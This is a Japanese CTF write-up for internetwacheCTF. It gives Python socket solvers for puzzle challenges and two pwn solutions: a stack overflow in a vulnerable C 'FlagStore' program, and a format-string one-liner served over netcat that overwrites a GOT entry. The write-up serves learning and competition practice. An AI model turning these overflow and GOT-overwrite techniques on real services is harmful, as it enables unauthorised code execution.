internetwacheCTF writeup

internetwacheCTFにcpawとして参加し、1550ptで約1400チーム中91位でした。日本チームは僕の知らないチームが多かったので数え方すごい適当ですが6位?

かなり初心者向け問題が多くて、あとはエスパーっぽい問題もあったCTFでした。

以下writeup(やるだけ問しかないですがブログを久しぶりに更新しておきたい気持ちで)書きます。

code

(全部50回位だったので手動でも頑張ればできたのかは知らない)

50 A numbers game

Description: People either love or hate math. Do you love it? Prove it! You just need to solve a bunch of equations without a mistake. Service: 188.166.133.53:11027

x + 7 = 10

みたいな計算式を送られるので、それを解くだけでした。 たまに改行があったりなかったりしたのでrecvで問題文受け取ってるか確認する文が必要でした。 以下頭が本当に悪いソルバ

from socket import *
p = socket(AF_INET,SOCK_STREAM)
p.connect(("188.166.133.53",11027))

recv = p.recv(4096)
print recv
while True:
    if recv.find("x") == -1:
        recv = p.recv(2048)
        print recv
    point = recv.find("x")
    code = recv[point:-1]
    a = code.split(" ")
    print a
    if a[1] == "+":
        d = int(a[4]) - int(a[2])
        print d
    elif a[1] == "-":
        d = int(a[2]) + int(a[4])
        print d
    elif a[1] == "*":
        d = int(a[4]) / int(a[2])
        print d
    p.send(str(d)+"\n")
    recv = p.recv(2048)
    print recv
    print "-------------"

60 It's Prime Time!

Description: I created a program for an unsolveable equation system. My friend somehow forced it to solve the equations. Can you tell me how he did it? Service: 188.166.133.53:12049

数字が一つ送られてくるのでそれよりも大きい自然数の中で一番小さい素数を返せば終わり。

こっちも改行だけがおくられたりおくられなかったりなので判定文を追加。

頭が死んでいたのでひとつずつ増やして素数なら返すってコード書きました。小さい数だけで助かった。

以下ソルバ

from socket import *

def is_prime(q):
    q = abs(q)
    if q == 2: return True
    if q < 2 or q&1 == 0: return False
    return pow(2, q-1, q) == 1

p = socket(AF_INET,SOCK_STREAM)
p.connect(("188.166.133.53",11059))

while True:
    recv = p.recv(2048)
    print recv
    if recv.find("Level")==-1:
        recv = p.recv(2048)
    point = recv.find("after")
    num = recv[point+6:-2]
    print num

    num1 = int(num)
    while True:
        num1 +=1
        if is_prime(num1):
            break
    p.send(str(num1)+"\n")

70 A numbers game II

問題文メモってなかったです。

3.5.4.3.....みたいなコードが送られてきていて、暗号化してるよって問題文で言ってました。 暗号化の手順が添付ファイルにpythonで送られていたので、それをひとつずつ逆に戻すと計算式が出てきました。 その計算式をcode50と同じ方法で解いて、送ればフラグだと思ったんですが、受け取ってくれなくて、その答えをもう一回暗号化して送るとフラグでした。 以下ソルバ。添付ファイルをそのまま逆にして行ったのですごく汚い。

from socket import *
p = socket(AF_INET,SOCK_STREAM)
p.connect(("188.166.133.53", 11071))
recv = p.recv(2048)

if recv.find("Level") == -1:
    recv = p.recv(2048)
print recv
s = recv[recv.find(":")+2:-1]
v = s.split('.')

print v
pr = []
for i in range(0,len(v)):
    c = bin(ord(v[i])-51).lstrip("0b")
    if (ord(v[i])-51 == 0):
        c+="00"
    elif (ord(v[i])-51 < 2):
        c='0'+c
    pr.append(c)
b = ''.join(pr)
print b
eq = []
for i in range(0,len(b),8):
    q = 32^int(b[i:i+8],2)
    print q
    qq = chr(q)
    eq.append(qq)
out = ''.join(eq)
print out
x = out.split(" ")
if x[1] == "+":
    d = int(x[4]) - int(x[2])
    print d
elif x[1] == "-":
    d = int(x[4]) + int(x[2])
    print d
elif x[1] == "*":
    d = int(x[4]) / int(x[2])
    print d
p.send(str(d))

print p.recv(2048)

exploit

70 FlagStore

Description: Here's the ultimate flag store. Store and retrieve your flags whenever you want. Attachment: exp70.zip Service: 188.166.133.53:12157

以下のソースコードが添付ファイルでもらえました。

#include <stdio.h>
#include <string.h>
#include "flag.h"

void register_user(char *username, char *password);
int check_login(char *user, char *pass, char *username, char *password);


int main() {
    char username[500];
    int is_admin = 0;
    char password[500];
    int logged_in = 0;
    char flag[250];

    char user[500];
    char pw[500];
    setbuf(stdout, NULL);
    printf("Welcome to the FlagStore!\n");

    while (1) {
        printf("Choose an action:\n");
        printf("> %s: 1\n> %s: 2\n> %s: 3\n> %s: 4\n", "regiser", "login", "get_flag", "store_flag");
        int answer = 0;
        scanf("%d", &answer);

        switch(answer) {
            case 1:
                printf("Enter an username:");
                scanf("%s", username);
                printf("Enter a password:");
                scanf("%s", password);

                if(strcmp(username, "admin") == 0) {
                    printf("Sorry, admin user already registered\n");
                    break;
                }

                if(strlen(password) < 6) {
                    printf("Sorry, password too short\n");
                    break;
                }

                register_user(username, password);
                printf("User %s successfully registered. You can login now!\n", username);

                break;
            case 2:
                printf("Username:");
                scanf("%499s", user);
                printf("Password:");
                scanf("%499s", pw);

                if(check_login(user, pw, username, password) == -1) {
                    printf("Wrong credentials!\n");
                    break;
                }

                logged_in = 1;
                printf("You're now authenticated!\n");

                break;
            case 3:
                if(logged_in == 0) {
                    printf("Please login first!\n");
                    break;
                }

                if(is_admin != 0) {
                    strcpy(flag, FLAG);
                }

                printf("Your flag: %s\n", flag);

                break;
            case 4:
                if(logged_in == 0) {
                    printf("Please login first!\n");
                    break;
                }

                printf("Enter your flag:");
                scanf("%s",flag);

                printf("Flag saved!\n");

                break;
            default:
                printf("Wrong option\nGood bye\n");
                return -1;
        }
    }
}

void register_user(char *username, char *password) {
    //XXX: Implement database connection
    return;
}

int check_login(char *user, char *pass, char *username, char *password) {
    if (strcmp(user, username) != 0 || strcmp(pass, password) != 0) {
        return -1;
    }
    return 0;
}

バイナリがもらえない時点で自明な脆弱性だなと思ってコードをみると、is_adminがusername[500]の下にあって、is_adminを0以外にすればflagもらえるので501文字入力して次のメニュー画面で3を選択すればフラグ。

80

問題文メモってなかったです、ごめんなさい。

バイナリが渡されたのでとりあえず普通のpwnっぽいなと思いながらgdb-pedaで動作確認。

remote printerという他のサーバーにアクセスしてそのサーバーの文字列を出力するプログラムでした。

まず調査。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : disabled

以下objdump結果

セクション .plt の逆アセンブル:

080484c0 <setbuf@plt-0x10>:
 80484c0:   ff 35 3c 9c 04 08       push   DWORD PTR ds:0x8049c3c
 80484c6:   ff 25 40 9c 04 08       jmp    DWORD PTR ds:0x8049c40
 80484cc:   00 00                   add    BYTE PTR [eax],al
    ...

080484d0 <setbuf@plt>:
 80484d0:   ff 25 44 9c 04 08       jmp    DWORD PTR ds:0x8049c44
 80484d6:   68 00 00 00 00          push   0x0
 80484db:   e9 e0 ff ff ff          jmp    80484c0 <setbuf@plt-0x10>

080484e0 <printf@plt>:
 80484e0:   ff 25 48 9c 04 08       jmp    DWORD PTR ds:0x8049c48
 80484e6:   68 08 00 00 00          push   0x8
 80484eb:   e9 d0 ff ff ff          jmp    80484c0 <setbuf@plt-0x10>

080484f0 <fgets@plt>:
 80484f0:   ff 25 4c 9c 04 08       jmp    DWORD PTR ds:0x8049c4c
 80484f6:   68 10 00 00 00          push   0x10
 80484fb:   e9 c0 ff ff ff          jmp    80484c0 <setbuf@plt-0x10>

08048500 <fclose@plt>:
 8048500:   ff 25 50 9c 04 08       jmp    DWORD PTR ds:0x8049c50
 8048506:   68 18 00 00 00          push   0x18
 804850b:   e9 b0 ff ff ff          jmp    80484c0 <setbuf@plt-0x10>

08048510 <htons@plt>:
 8048510:   ff 25 54 9c 04 08       jmp    DWORD PTR ds:0x8049c54
 8048516:   68 20 00 00 00          push   0x20
 804851b:   e9 a0 ff ff ff          jmp    80484c0 <setbuf@plt-0x10>

08048520 <perror@plt>:
 8048520:   ff 25 58 9c 04 08       jmp    DWORD PTR ds:0x8049c58
 8048526:   68 28 00 00 00          push   0x28
 804852b:   e9 90 ff ff ff          jmp    80484c0 <setbuf@plt-0x10>

08048530 <puts@plt>:
 8048530:   ff 25 5c 9c 04 08       jmp    DWORD PTR ds:0x8049c5c
 8048536:   68 30 00 00 00          push   0x30
 804853b:   e9 80 ff ff ff          jmp    80484c0 <setbuf@plt-0x10>

08048540 <__gmon_start__@plt>:
 8048540:   ff 25 60 9c 04 08       jmp    DWORD PTR ds:0x8049c60
 8048546:   68 38 00 00 00          push   0x38
 804854b:   e9 70 ff ff ff          jmp    80484c0 <setbuf@plt-0x10>

08048550 <__libc_start_main@plt>:
 8048550:   ff 25 64 9c 04 08       jmp    DWORD PTR ds:0x8049c64
 8048556:   68 40 00 00 00          push   0x40
 804855b:   e9 60 ff ff ff          jmp    80484c0 <setbuf@plt-0x10>

08048560 <fopen@plt>:
 8048560:   ff 25 68 9c 04 08       jmp    DWORD PTR ds:0x8049c68
 8048566:   68 48 00 00 00          push   0x48
 804856b:   e9 50 ff ff ff          jmp    80484c0 <setbuf@plt-0x10>

08048570 <__isoc99_scanf@plt>:
 8048570:   ff 25 6c 9c 04 08       jmp    DWORD PTR ds:0x8049c6c
 8048576:   68 50 00 00 00          push   0x50
 804857b:   e9 40 ff ff ff          jmp    80484c0 <setbuf@plt-0x10>

08048580 <socket@plt>:
 8048580:   ff 25 70 9c 04 08       jmp    DWORD PTR ds:0x8049c70
 8048586:   68 58 00 00 00          push   0x58
 804858b:   e9 30 ff ff ff          jmp    80484c0 <setbuf@plt-0x10>

08048590 <inet_addr@plt>:
 8048590:   ff 25 74 9c 04 08       jmp    DWORD PTR ds:0x8049c74
 8048596:   68 60 00 00 00          push   0x60
 804859b:   e9 20 ff ff ff          jmp    80484c0 <setbuf@plt-0x10>

080485a0 <connect@plt>:
 80485a0:   ff 25 78 9c 04 08       jmp    DWORD PTR ds:0x8049c78
 80485a6:   68 68 00 00 00          push   0x68
 80485ab:   e9 10 ff ff ff          jmp    80484c0 <setbuf@plt-0x10>

080485b0 <recv@plt>:
 80485b0:   ff 25 7c 9c 04 08       jmp    DWORD PTR ds:0x8049c7c
 80485b6:   68 70 00 00 00          push   0x70
 80485bb:   e9 00 ff ff ff          jmp    80484c0 <setbuf@plt-0x10>

080485c0 <close@plt>:
 80485c0:   ff 25 80 9c 04 08       jmp    DWORD PTR ds:0x8049c80
 80485c6:   68 78 00 00 00          push   0x78
 80485cb:   e9 f0 fe ff ff          jmp    80484c0 <setbuf@plt-0x10>

セクション .text の逆アセンブル:

080485d0 <.text>:
 80485d0:   31 ed                   xor    ebp,ebp
 80485d2:   5e                      pop    esi
 80485d3:   89 e1                   mov    ecx,esp
 80485d5:   83 e4 f0                and    esp,0xfffffff0
 80485d8:   50                      push   eax
 80485d9:   54                      push   esp
 80485da:   52                      push   edx
 80485db:   68 20 89 04 08          push   0x8048920
 80485e0:   68 c0 88 04 08          push   0x80488c0
 80485e5:   51                      push   ecx
 80485e6:   56                      push   esi
 80485e7:   68 cb 86 04 08          push   0x80486cb
 80485ec:   e8 5f ff ff ff          call   8048550 <__libc_start_main@plt>
 80485f1:   f4                      hlt    
 80485f2:   66 90                   xchg   ax,ax
 80485f4:   66 90                   xchg   ax,ax
 80485f6:   66 90                   xchg   ax,ax
 80485f8:   66 90                   xchg   ax,ax
 80485fa:   66 90                   xchg   ax,ax
 80485fc:   66 90                   xchg   ax,ax
 80485fe:   66 90                   xchg   ax,ax
 8048600:   8b 1c 24                mov    ebx,DWORD PTR [esp]
 8048603:   c3                      ret    
 8048604:   66 90                   xchg   ax,ax
 8048606:   66 90                   xchg   ax,ax
 8048608:   66 90                   xchg   ax,ax
 804860a:   66 90                   xchg   ax,ax
 804860c:   66 90                   xchg   ax,ax
 804860e:   66 90                   xchg   ax,ax
 8048610:   b8 8f 9c 04 08          mov    eax,0x8049c8f
 8048615:   2d 8c 9c 04 08          sub    eax,0x8049c8c
 804861a:   83 f8 06                cmp    eax,0x6
 804861d:   76 1a                   jbe    8048639 <close@plt+0x79>
 804861f:   b8 00 00 00 00          mov    eax,0x0
 8048624:   85 c0                   test   eax,eax
 8048626:   74 11                   je     8048639 <close@plt+0x79>
 8048628:   55                      push   ebp
 8048629:   89 e5                   mov    ebp,esp
 804862b:   83 ec 14                sub    esp,0x14
 804862e:   68 8c 9c 04 08          push   0x8049c8c
 8048633:   ff d0                   call   eax
 8048635:   83 c4 10                add    esp,0x10
 8048638:   c9                      leave  
 8048639:   f3 c3                   repz ret 
 804863b:   90                      nop
 804863c:   8d 74 26 00             lea    esi,[esi+eiz*1+0x0]
 8048640:   b8 8c 9c 04 08          mov    eax,0x8049c8c
 8048645:   2d 8c 9c 04 08          sub    eax,0x8049c8c
 804864a:   c1 f8 02                sar    eax,0x2
 804864d:   89 c2                   mov    edx,eax
 804864f:   c1 ea 1f                shr    edx,0x1f
 8048652:   01 d0                   add    eax,edx
 8048654:   d1 f8                   sar    eax,1
 8048656:   74 1b                   je     8048673 <close@plt+0xb3>
 8048658:   ba 00 00 00 00          mov    edx,0x0
 804865d:   85 d2                   test   edx,edx
 804865f:   74 12                   je     8048673 <close@plt+0xb3>
 8048661:   55                      push   ebp
 8048662:   89 e5                   mov    ebp,esp
 8048664:   83 ec 10                sub    esp,0x10
 8048667:   50                      push   eax
 8048668:   68 8c 9c 04 08          push   0x8049c8c
 804866d:   ff d2                   call   edx
 804866f:   83 c4 10                add    esp,0x10
 8048672:   c9                      leave  
 8048673:   f3 c3                   repz ret 
 8048675:   8d 74 26 00             lea    esi,[esi+eiz*1+0x0]
 8048679:   8d bc 27 00 00 00 00    lea    edi,[edi+eiz*1+0x0]
 8048680:   80 3d 90 9c 04 08 00    cmp    BYTE PTR ds:0x8049c90,0x0
 8048687:   75 13                   jne    804869c <close@plt+0xdc>
 8048689:   55                      push   ebp
 804868a:   89 e5                   mov    ebp,esp
 804868c:   83 ec 08                sub    esp,0x8
 804868f:   e8 7c ff ff ff          call   8048610 <close@plt+0x50>
 8048694:   c6 05 90 9c 04 08 01    mov    BYTE PTR ds:0x8049c90,0x1
 804869b:   c9                      leave  
 804869c:   f3 c3                   repz ret 
 804869e:   66 90                   xchg   ax,ax
 80486a0:   b8 48 9b 04 08          mov    eax,0x8049b48
 80486a5:   8b 10                   mov    edx,DWORD PTR [eax]
 80486a7:   85 d2                   test   edx,edx
 80486a9:   75 05                   jne    80486b0 <close@plt+0xf0>
 80486ab:   eb 93                   jmp    8048640 <close@plt+0x80>
 80486ad:   8d 76 00                lea    esi,[esi+0x0]
 80486b0:   ba 00 00 00 00          mov    edx,0x0
 80486b5:   85 d2                   test   edx,edx
 80486b7:   74 f2                   je     80486ab <close@plt+0xeb>
 80486b9:   55                      push   ebp
 80486ba:   89 e5                   mov    ebp,esp
 80486bc:   83 ec 14                sub    esp,0x14
 80486bf:   50                      push   eax
 80486c0:   ff d2                   call   edx
 80486c2:   83 c4 10                add    esp,0x10
 80486c5:   c9                      leave  
 80486c6:   e9 75 ff ff ff          jmp    8048640 <close@plt+0x80>
 80486cb:   8d 4c 24 04             lea    ecx,[esp+0x4]
 80486cf:   83 e4 f0                and    esp,0xfffffff0
 80486d2:   ff 71 fc                push   DWORD PTR [ecx-0x4]
 80486d5:   55                      push   ebp
 80486d6:   89 e5                   mov    ebp,esp
 80486d8:   51                      push   ecx
 80486d9:   83 ec 24                sub    esp,0x24
 80486dc:   a1 8c 9c 04 08          mov    eax,ds:0x8049c8c
 80486e1:   83 ec 08                sub    esp,0x8
 80486e4:   6a 00                   push   0x0
 80486e6:   50                      push   eax
 80486e7:   e8 e4 fd ff ff          call   80484d0 <setbuf@plt>
 80486ec:   83 c4 10                add    esp,0x10
 80486ef:   c7 45 e4 00 00 00 00    mov    DWORD PTR [ebp-0x1c],0x0
 80486f6:   83 ec 0c                sub    esp,0xc
 80486f9:   68 40 89 04 08          push   0x8048940
 80486fe:   e8 2d fe ff ff          call   8048530 <puts@plt>
 8048703:   83 c4 10                add    esp,0x10
 8048706:   83 ec 0c                sub    esp,0xc
 8048709:   68 5a 89 04 08          push   0x804895a
 804870e:   e8 cd fd ff ff          call   80484e0 <printf@plt>
 8048713:   83 c4 10                add    esp,0x10
 8048716:   83 ec 08                sub    esp,0x8
 8048719:   8d 45 e8                lea    eax,[ebp-0x18]
 804871c:   50                      push   eax
 804871d:   68 6e 89 04 08          push   0x804896e
 8048722:   e8 49 fe ff ff          call   8048570 <__isoc99_scanf@plt>
 8048727:   83 c4 10                add    esp,0x10
 804872a:   83 ec 0c                sub    esp,0xc
 804872d:   68 73 89 04 08          push   0x8048973
 8048732:   e8 a9 fd ff ff          call   80484e0 <printf@plt>
 8048737:   83 c4 10                add    esp,0x10
 804873a:   83 ec 08                sub    esp,0x8
 804873d:   8d 45 e4                lea    eax,[ebp-0x1c]
 8048740:   50                      push   eax
 8048741:   68 7f 89 04 08          push   0x804897f
 8048746:   e8 25 fe ff ff          call   8048570 <__isoc99_scanf@plt>
 804874b:   83 c4 10                add    esp,0x10
 804874e:   8b 45 e4                mov    eax,DWORD PTR [ebp-0x1c]
 8048751:   83 ec 04                sub    esp,0x4
 8048754:   50                      push   eax
 8048755:   8d 45 e8                lea    eax,[ebp-0x18]
 8048758:   50                      push   eax
 8048759:   68 84 89 04 08          push   0x8048984
 804875e:   e8 7d fd ff ff          call   80484e0 <printf@plt>
 8048763:   83 c4 10                add    esp,0x10
 8048766:   8b 45 e4                mov    eax,DWORD PTR [ebp-0x1c]
 8048769:   83 ec 08                sub    esp,0x8
 804876c:   50                      push   eax
 804876d:   8d 45 e8                lea    eax,[ebp-0x18]
 8048770:   50                      push   eax
 8048771:   e8 10 00 00 00          call   8048786 <close@plt+0x1c6>
 8048776:   83 c4 10                add    esp,0x10
 8048779:   b8 00 00 00 00          mov    eax,0x0
 804877e:   8b 4d fc                mov    ecx,DWORD PTR [ebp-0x4]
 8048781:   c9                      leave  
 8048782:   8d 61 fc                lea    esp,[ecx-0x4]
 8048785:   c3                      ret    
 8048786:   55                      push   ebp
 8048787:   89 e5                   mov    ebp,esp
 8048789:   81 ec 28 20 00 00       sub    esp,0x2028
 804878f:   83 ec 04                sub    esp,0x4
 8048792:   6a 00                   push   0x0
 8048794:   6a 01                   push   0x1
 8048796:   6a 02                   push   0x2
 8048798:   e8 e3 fd ff ff          call   8048580 <socket@plt>
 804879d:   83 c4 10                add    esp,0x10
 80487a0:   89 45 f4                mov    DWORD PTR [ebp-0xc],eax
 80487a3:   83 7d f4 ff             cmp    DWORD PTR [ebp-0xc],0xffffffff
 80487a7:   75 15                   jne    80487be <close@plt+0x1fe>
 80487a9:   83 ec 0c                sub    esp,0xc
 80487ac:   68 af 89 04 08          push   0x80489af
 80487b1:   e8 7a fd ff ff          call   8048530 <puts@plt>
 80487b6:   83 c4 10                add    esp,0x10
 80487b9:   e9 a7 00 00 00          jmp    8048865 <close@plt+0x2a5>
 80487be:   83 ec 0c                sub    esp,0xc
 80487c1:   ff 75 08                push   DWORD PTR [ebp+0x8]
 80487c4:   e8 c7 fd ff ff          call   8048590 <inet_addr@plt>
 80487c9:   83 c4 10                add    esp,0x10
 80487cc:   89 45 e8                mov    DWORD PTR [ebp-0x18],eax
 80487cf:   66 c7 45 e4 02 00       mov    WORD PTR [ebp-0x1c],0x2
 80487d5:   8b 45 0c                mov    eax,DWORD PTR [ebp+0xc]
 80487d8:   0f b7 c0                movzx  eax,ax
 80487db:   83 ec 0c                sub    esp,0xc
 80487de:   50                      push   eax
 80487df:   e8 2c fd ff ff          call   8048510 <htons@plt>
 80487e4:   83 c4 10                add    esp,0x10
 80487e7:   66 89 45 e6             mov    WORD PTR [ebp-0x1a],ax
 80487eb:   83 ec 04                sub    esp,0x4
 80487ee:   6a 10                   push   0x10
 80487f0:   8d 45 e4                lea    eax,[ebp-0x1c]
 80487f3:   50                      push   eax
 80487f4:   ff 75 f4                push   DWORD PTR [ebp-0xc]
 80487f7:   e8 a4 fd ff ff          call   80485a0 <connect@plt>
 80487fc:   83 c4 10                add    esp,0x10
 80487ff:   85 c0                   test   eax,eax
 8048801:   79 12                   jns    8048815 <close@plt+0x255>
 8048803:   83 ec 0c                sub    esp,0xc
 8048806:   68 bc 89 04 08          push   0x80489bc
 804880b:   e8 10 fd ff ff          call   8048520 <perror@plt>
 8048810:   83 c4 10                add    esp,0x10
 8048813:   eb 50                   jmp    8048865 <close@plt+0x2a5>
 8048815:   6a 00                   push   0x0
 8048817:   68 00 20 00 00          push   0x2000
 804881c:   8d 85 e4 df ff ff       lea    eax,[ebp-0x201c]
 8048822:   50                      push   eax
 8048823:   ff 75 f4                push   DWORD PTR [ebp-0xc]
 8048826:   e8 85 fd ff ff          call   80485b0 <recv@plt>
 804882b:   83 c4 10                add    esp,0x10
 804882e:   85 c0                   test   eax,eax
 8048830:   79 12                   jns    8048844 <close@plt+0x284>
 8048832:   83 ec 0c                sub    esp,0xc
 8048835:   68 d1 89 04 08          push   0x80489d1
 804883a:   e8 f1 fc ff ff          call   8048530 <puts@plt>
 804883f:   83 c4 10                add    esp,0x10
 8048842:   eb 21                   jmp    8048865 <close@plt+0x2a5>
 8048844:   83 ec 0c                sub    esp,0xc
 8048847:   8d 85 e4 df ff ff       lea    eax,[ebp-0x201c]
 804884d:   50                      push   eax
 804884e:   e8 8d fc ff ff          call   80484e0 <printf@plt>
 8048853:   83 c4 10                add    esp,0x10
 8048856:   83 ec 0c                sub    esp,0xc
 8048859:   ff 75 f4                push   DWORD PTR [ebp-0xc]
 804885c:   e8 5f fd ff ff          call   80485c0 <close@plt>
 8048861:   83 c4 10                add    esp,0x10
 8048864:   90                      nop
 8048865:   c9                      leave  
 8048866:   c3                      ret    
 8048867:   55                      push   ebp
 8048868:   89 e5                   mov    ebp,esp
 804886a:   83 ec 48                sub    esp,0x48
 804886d:   83 ec 08                sub    esp,0x8
 8048870:   68 dc 89 04 08          push   0x80489dc
 8048875:   68 de 89 04 08          push   0x80489de
 804887a:   e8 e1 fc ff ff          call   8048560 <fopen@plt>
 804887f:   83 c4 10                add    esp,0x10
 8048882:   89 45 f4                mov    DWORD PTR [ebp-0xc],eax
 8048885:   83 ec 04                sub    esp,0x4
 8048888:   ff 75 f4                push   DWORD PTR [ebp-0xc]
 804888b:   6a 32                   push   0x32
 804888d:   8d 45 c2                lea    eax,[ebp-0x3e]
 8048890:   50                      push   eax
 8048891:   e8 5a fc ff ff          call   80484f0 <fgets@plt>
 8048896:   83 c4 10                add    esp,0x10
 8048899:   83 ec 0c                sub    esp,0xc
 804889c:   ff 75 f4                push   DWORD PTR [ebp-0xc]
 804889f:   e8 5c fc ff ff          call   8048500 <fclose@plt>
 80488a4:   83 c4 10                add    esp,0x10
 80488a7:   83 ec 08                sub    esp,0x8
 80488aa:   8d 45 c2                lea    eax,[ebp-0x3e]
 80488ad:   50                      push   eax
 80488ae:   68 e7 89 04 08          push   0x80489e7
 80488b3:   e8 28 fc ff ff          call   80484e0 <printf@plt>
 80488b8:   83 c4 10                add    esp,0x10
 80488bb:   90                      nop
 80488bc:   c9                      leave  
 80488bd:   c3                      ret    
 80488be:   66 90                   xchg   ax,ax
 80488c0:   55                      push   ebp
 80488c1:   57                      push   edi
 80488c2:   56                      push   esi
 80488c3:   53                      push   ebx
 80488c4:   e8 37 fd ff ff          call   8048600 <close@plt+0x40>
 80488c9:   81 c3 6f 13 00 00       add    ebx,0x136f
 80488cf:   83 ec 0c                sub    esp,0xc
 80488d2:   8b 6c 24 20             mov    ebp,DWORD PTR [esp+0x20]
 80488d6:   8d b3 0c ff ff ff       lea    esi,[ebx-0xf4]
 80488dc:   e8 b7 fb ff ff          call   8048498 <setbuf@plt-0x38>
 80488e1:   8d 83 08 ff ff ff       lea    eax,[ebx-0xf8]
 80488e7:   29 c6                   sub    esi,eax
 80488e9:   c1 fe 02                sar    esi,0x2
 80488ec:   85 f6                   test   esi,esi
 80488ee:   74 25                   je     8048915 <close@plt+0x355>
 80488f0:   31 ff                   xor    edi,edi
 80488f2:   8d b6 00 00 00 00       lea    esi,[esi+0x0]
 80488f8:   83 ec 04                sub    esp,0x4
 80488fb:   ff 74 24 2c             push   DWORD PTR [esp+0x2c]
 80488ff:   ff 74 24 2c             push   DWORD PTR [esp+0x2c]
 8048903:   55                      push   ebp
 8048904:   ff 94 bb 08 ff ff ff    call   DWORD PTR [ebx+edi*4-0xf8]
 804890b:   83 c7 01                add    edi,0x1
 804890e:   83 c4 10                add    esp,0x10
 8048911:   39 f7                   cmp    edi,esi
 8048913:   75 e3                   jne    80488f8 <close@plt+0x338>
 8048915:   83 c4 0c                add    esp,0xc
 8048918:   5b                      pop    ebx
 8048919:   5e                      pop    esi
 804891a:   5f                      pop    edi
 804891b:   5d                      pop    ebp
 804891c:   c3                      ret    
 804891d:   8d 76 00                lea    esi,[esi+0x0]
 8048920:   f3 c3                   repz ret 

自分のサーバーで nc -l 25252 < text という感じで待ち受け、プログラムをサーバーにつなげて文字列を入力しました。

printfでfsb脆弱性があったので、 aaaa %x 無限に送って入力文字までのオフセット調べて、closeのgotを書き換えてflagを呼ぶ関数に飛ばすワンライナーを書いてサーバーで待ち受けてフラグ。

以下ワンライナー

python -c 'print "\x80\x9c\x04\x08\x82\x9c\x04\x08%34911x%7$hn%32669x%8$hn"' | nc -l 25252

感想

トラコンの準備となんちゃって某ア大会行ってて全然動けなくてゴメンなさい。チームのみなさんお疲れ様でした〜。